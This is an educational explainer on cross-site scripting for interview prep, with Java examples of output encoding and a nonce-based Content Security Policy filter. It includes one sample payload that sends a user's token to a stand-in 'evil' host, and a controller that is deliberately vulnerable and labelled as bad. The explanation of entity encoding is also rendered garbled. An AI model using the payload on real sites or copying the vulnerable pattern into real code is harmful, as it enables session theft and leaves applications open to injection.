XSS Attack + Defense
Reflected / stored / DOM + output encoding, CSP, HttpOnly.
This interactive explanation is built for system design interview prep: step through XSS Attack + Defense, watch the internal state change, and connect the concept to real distributed-system trade-offs.
Overview
Cross-Site Scripting (XSS) is the vulnerability where an attacker gets their JavaScript to execute in a victim's browser inside the context of your origin. Once it runs there, the attacker's code can read cookies, make authenticated API calls, exfiltrate tokens from localStorage, and keylog the page. XSS comes in three flavors. Reflected XSS: the payload arrives in the request (usually a URL query param) and the server echoes it into the response without encoding. Stored XSS: the payload is saved in your database (a comment, profile field) and served to every subsequent viewer. DOM-based XSS: the payload never touches the server; client-side JavaScript reads it from location.hash or similar and writes it into the DOM unsanitized. The defense is layered: context-aware output encoding, Content Security Policy (CSP), httpOnly cookies, and safe DOM APIs. No single layer is enough; a modern site needs all four.
How it works
Consider a search page that reflects the query back: <h1>Results for {{ q }}</h1>. If q is <script>fetch('/api/me').then(r=>r.json()).then(d=>navigator.sendBeacon('https://evil/'+d.token))</script>, the browser parses the script tag and runs it with the victim's session. The fix is to HTML-encode q before inserting — < becomes <, > becomes >, and the string renders as literal text. Encoding is context-dependent: the same value must be HTML-encoded in element text, attribute-encoded in attribute values (and quoted), JavaScript-encoded inside <script>, and URL-encoded in URLs. OWASP Java Encoder provides Encode.forHtml, Encode.forHtmlAttribute, Encode.forJavaScript, and Encode.forUriComponent for exactly this. The framework's default template engine should encode by default; {{ }} in Thymeleaf or JSP EL does, ${} often does not. CSP is the defense-in-depth layer. A header like Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xyz'; object-src 'none' tells the browser to only run scripts from your origin or with the matching nonce. Even if an attacker injects a <script> tag, the browser refuses to execute it without the nonce. Nonces must be per-request random values, not static strings. Additional hardening: httpOnly cookies so XSS cannot read the session cookie, SameSite=Lax to reduce CSRF, Trusted Types to make innerHTML assignments throw by default, and a CSP reporting endpoint that tells you when something is being blocked. The VulnerableController below shows the bug; the SafeController shows encoding; the filter shows the CSP header.
Implementation
@RestController
@RequestMapping("/search")
public class VulnerableController {
// BAD: reflects raw user input into HTML. Classic reflected XSS.
@GetMapping(produces = MediaType.TEXT_HTML_VALUE)
public String search(@RequestParam String q) {
return "<h1>Results for " + q + "</h1>";
}
}
@RestController
@RequestMapping("/safe-search")
public class SafeController {
// GOOD: context-aware encoding via OWASP Java Encoder.
@GetMapping(produces = MediaType.TEXT_HTML_VALUE)
public String search(@RequestParam String q) {
String safeText = Encode.forHtml(q);
String safeHref = Encode.forUriComponent(q);
return "<h1>Results for " + safeText + "</h1>"
+ "<a href=\"/next?q=" + safeHref + "\">next</a>";
}
// GOOD: an attribute context also needs encoding, with quotes.
@GetMapping(value = "/tag", produces = MediaType.TEXT_HTML_VALUE)
public String tag(@RequestParam String name) {
return "<span title=\"" + Encode.forHtmlAttribute(name) + "\">hi</span>";
}
}
@Component
public class CspFilter implements Filter {
private static final SecureRandom RNG = new SecureRandom();
@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest http = (HttpServletRequest) req;
HttpServletResponse httpResp = (HttpServletResponse) resp;
byte[] nonceBytes = new byte[16];
RNG.nextBytes(nonceBytes);
String nonce = Base64.getEncoder().encodeToString(nonceBytes);
http.setAttribute("cspNonce", nonce);
httpResp.setHeader("Content-Security-Policy",
"default-src 'self'; "
+ "script-src 'self' 'nonce-" + nonce + "' 'strict-dynamic'; "
+ "style-src 'self' 'unsafe-inline'; "
+ "img-src 'self' data:; "
+ "object-src 'none'; "
+ "base-uri 'none'; "
+ "frame-ancestors 'none'; "
+ "report-uri /csp-report");
httpResp.setHeader("X-Content-Type-Options", "nosniff");
httpResp.setHeader("Referrer-Policy", "no-referrer");
chain.doFilter(req, resp);
}
}
Complexity
- encoding overhead:
O(n) per output - CSP parse overhead:
~microseconds per request - nonce entropy:
>= 128 bits
Key design decisions & trade-offs
- Encoding vs sanitization — Chosen: Encode by default; sanitize only when HTML is required. Encoding is cheap and deterministic; sanitizers (DOMPurify) are needed only when users must provide markup (rich-text comments).
- CSP nonce vs hash vs allowlist — Chosen: Nonce + 'strict-dynamic'. Allowlists are easy to bypass via CDN gadgets; nonce with strict-dynamic restricts scripts to those your server blessed this request.
- Cookie storage — Chosen: httpOnly session cookies, not localStorage tokens. httpOnly cookies cannot be read by JS even during XSS, which limits blast radius.
Common pitfalls
- Using document.innerHTML with user data — use textContent or Trusted Types
- Encoding only in HTML context and forgetting attribute/JS/URL contexts
- Static CSP nonce reused across requests — defeats the purpose
- Allowing 'unsafe-inline' in script-src — makes CSP useless against XSS
- Trusting userinput.length or an allowlist regex as a sanitizer
Interview follow-ups
- Deploy Trusted Types to eliminate DOM-based XSS sinks
- Add a CSP report-to endpoint and monitor violations
- Use Subresource Integrity (SRI) for third-party scripts
- Move auth token from localStorage to httpOnly cookie + CSRF token
Recommended reading
- Alex Petrov, Database Internals — storage engines and distributed systems internals.
- Martin Kleppmann, Designing Data-Intensive Applications (DDIA) — data models, replication, partitioning, consistency.
- The System Design Primer — high-level design building blocks.
- Foundational networking + web-security references (TCP/IP, TLS 1.3, OWASP Top 10).